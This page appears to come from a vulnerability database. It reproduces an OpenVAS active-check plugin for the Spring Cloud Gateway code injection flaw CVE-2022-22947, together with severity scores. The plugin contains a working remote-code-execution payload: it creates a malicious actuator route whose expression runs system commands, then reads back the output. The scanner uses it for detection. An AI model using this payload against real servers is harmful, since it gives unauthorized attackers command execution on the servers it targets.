Lucene search

K
openvasCopyright (C) 2022 Greenbone Networks GmbHOPENVAS:1361412562310147770
HistoryMar 08, 2022 - 12:00 a.m.

VMware Spring Cloud Gateway < 3.0.7, 3.1.x < 3.1.1 RCE Vulnerability - Active Check

2022-03-0800:00:00
Copyright (C) 2022 Greenbone Networks GmbH
plugins.openvas.org
28
vmware spring cloud gateway
remote code execution
rce
vulnerability
version 3.0.7
version 3.1.1
actuator endpoint

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

10

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

AI Score

9.9

Confidence

High

EPSS

0.975

Percentile

100.0%

VMware Spring Cloud Gateway is prone to a remote code execution
(RCE) vulnerability.

# Copyright (C) 2022 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:vmware:spring_cloud_gateway";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.147770");
  script_version("2022-08-09T10:11:17+0000");
  script_tag(name:"last_modification", value:"2022-08-09 10:11:17 +0000 (Tue, 09 Aug 2022)");
  script_tag(name:"creation_date", value:"2022-03-08 04:33:13 +0000 (Tue, 08 Mar 2022)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2022-03-17 16:47:00 +0000 (Thu, 17 Mar 2022)");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2022-22947");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("VMware Spring Cloud Gateway < 3.0.7, 3.1.x < 3.1.1 RCE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2022 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_vmware_spring_cloud_gateway_http_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("vmware/spring/cloud/gateway/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"VMware Spring Cloud Gateway is prone to a remote code execution
  (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple HTTP POST and GET requests and checks the
  responses.");

  script_tag(name:"insight", value:"Applications using Spring Cloud Gateway are vulnerable to a code
  injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote
  attacker could make a maliciously crafted request that could allow arbitrary remote execution on
  the remote host.");

  script_tag(name:"affected", value:"VMware Spring Cloud Gateway version 3.0.6 and prior and version
  3.1.0 when the Gateway Actuator endpoint is enabled, exposed and unsecured.");

  script_tag(name:"solution", value:"Update to version 3.0.7, 3.1.1 or later.");

  script_xref(name:"URL", value:"https://tanzu.vmware.com/security/cve-2022-22947");
  script_xref(name:"URL", value:"https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published");
  script_xref(name:"URL", value:"https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("os_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

cmds = exploit_commands();

vt_strings = get_vt_strings();
name = vt_strings["default_rand"];

foreach pattern (keys(cmds)) {
  url = dir + "/actuator/gateway/routes/" + name;

  headers = make_array("Content-Type", "application/json");

  data = '{"id":"' + name + '","filters":[{"name":"AddResponseHeader","args":{"name": "Result",' +
         '"value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"' + cmds[pattern] + '\\"}).getInputStream()))}"' +
         '}}],"uri": "http://example.com","order":0}';

  req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
  res = http_keepalive_send_recv(port: port, data: req);

  if (res !~ "^HTTP/1\.[01] 201")
    exit(0);

  url = dir + "/actuator/gateway/refresh";

  headers = make_array("Content-Type", "application/x-www-form-urlencoded");

  data = "";

  req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
  res = http_keepalive_send_recv(port: port, data: req);

  if (res !~ "^HTTP/1\.[01] 200")
    exit(0);

  url = dir + "/actuator/gateway/routes/" + name;

  req = http_get(port: port, item: url);
  res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

  if (egrep(pattern: pattern, string: res)) {
    report = 'It was possible to execute the "' + cmds[pattern] + '" command.\n\nResult:\n\n' + res;
    security_message(port: port, data: report);

    url = dir + "/actuator/gateway/routes/" + name;

    req = http_get(port: port, item: url);
    # Send a DELETE request instead of a GET request
    req = ereg_replace(pattern: "^GET", replace: "DELETE", string: req);
    http_keepalive_send_recv(port: port, data: req);

    url = dir + "/actuator/gateway/refresh";

    headers = make_array("Content-Type", "application/x-www-form-urlencoded");

    data = "";

    req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
    http_keepalive_send_recv(port: port, data: req);

    exit(0);
  }
}

exit(99);

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

10

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

AI Score

9.9

Confidence

High

EPSS

0.975

Percentile

100.0%